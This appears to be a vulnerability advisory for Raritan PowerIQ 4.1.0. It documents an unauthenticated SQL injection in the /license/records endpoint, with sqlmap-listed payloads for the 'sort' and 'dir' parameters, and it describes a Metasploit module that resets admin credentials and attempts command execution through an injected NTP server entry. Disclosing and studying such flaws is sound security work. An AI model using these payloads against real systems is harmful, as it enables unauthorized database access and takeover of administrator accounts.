Raritan PowerIQ 4.1.0 - SQL Injection Vulnerability
来源：metasploit.com 作者：Perry 发布时间：2014-07-22  
=begin
Raritan PowerIQ suffers from an unauthenticated SQL injection vulnerability
within an endpoint used during initial configuration of the licensing for
the product. This endpoint is still available after the appliance has been
fully configured.
  
POST /license/records HTTP/1.1
  
Host: 192.168.1.11
  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0)

Cache-Control: no-cache
  
  
sort=id&dir=ASC
  
  
  
Both the 'sort' and 'dir' parameters are vulnerable.
  
sqlmap identified the following injection points with a total of 1173
HTTP(s) requests:
---
Place: POST
Parameter: sort
    Type: boolean-based blind
    Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses
    Payload: sort=id,(SELECT (CASE WHEN (6357=6357) THEN 1 ELSE 1/(SELECT
0) END))&dir=ASC
  
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: sort=id; SELECT PG_SLEEP(5)--&dir=ASC
  
    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 time-based blind - Parameter replace
    Payload: sort=(SELECT 5480 FROM PG_SLEEP(5))&dir=ASC
  
Place: POST
Parameter: dir
    Type: boolean-based blind
    Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses
    Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (5274=5274) THEN 1 ELSE
1/(SELECT 0) END))
  
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: sort=id&dir=ASC; SELECT PG_SLEEP(5)--
  
    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses
    Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (1501=1501) THEN (SELECT
1501 FROM PG_SLEEP(5)) ELSE 1/(SELECT 0) END))
---
  
  
There may also be a remote command execution vulnerability available to
administrators (or you if you use the stacked injection to update the
hashes).
  
When saving an NTP server, you can inject a newline (%0a) into the request
in order to save a malformed 'server' stanza in the ntp.conf. When syncing
with NTP, the application passes the first NTP server to the NTP utility
via bash. I was not able to make my malformed NTP server available as the
first in the list, thus was not able to achieve RCE. There may be a way to
do it though that I am unaware of.
  
Attached is a Metasploit module that I began writing when attempting to
achieve RCE but was never able to. This module will
  
A) Pull out the current password hash and salt for the 'admin' user and
cache them.
B) Update the admin creeds to be 'admin:Passw0rd!'
C) Set up the malformed NTP server
D) Attempt to sync with NTP.
  
Because I was not able to achieve RCE via that vector, this module does not
actually pop a shell, so I am sorry about that. 
  
Maybe some PostgreSQL UDF fanciness will be the key.
  
You may also find the module available here:

      This module will exploit an unauthenticated SQL injection in order to gain
      a shell on the remote victim. This was tested against PowerIQ v4.1.0.
  
      The 'check' command will attempt to pull the banner of the DBMS (PGSQL) in
      order to verify exploitability via boolean injections.
  
      In order to gain remote command execution, multiple vulnerabilities are used.
  
      I use a SQL injection to gain administrative access.
  
      I use a newline injection to save an NTP server I shouldn't be able to save.
  
      By saving this unsanitized NTP server, I can execute commands as 'nginx' with
      a request to the server's web application.
  
      You can find a trial ISO at the following link. CentOS-based with PGSQL.
      This is what this module was tested against.
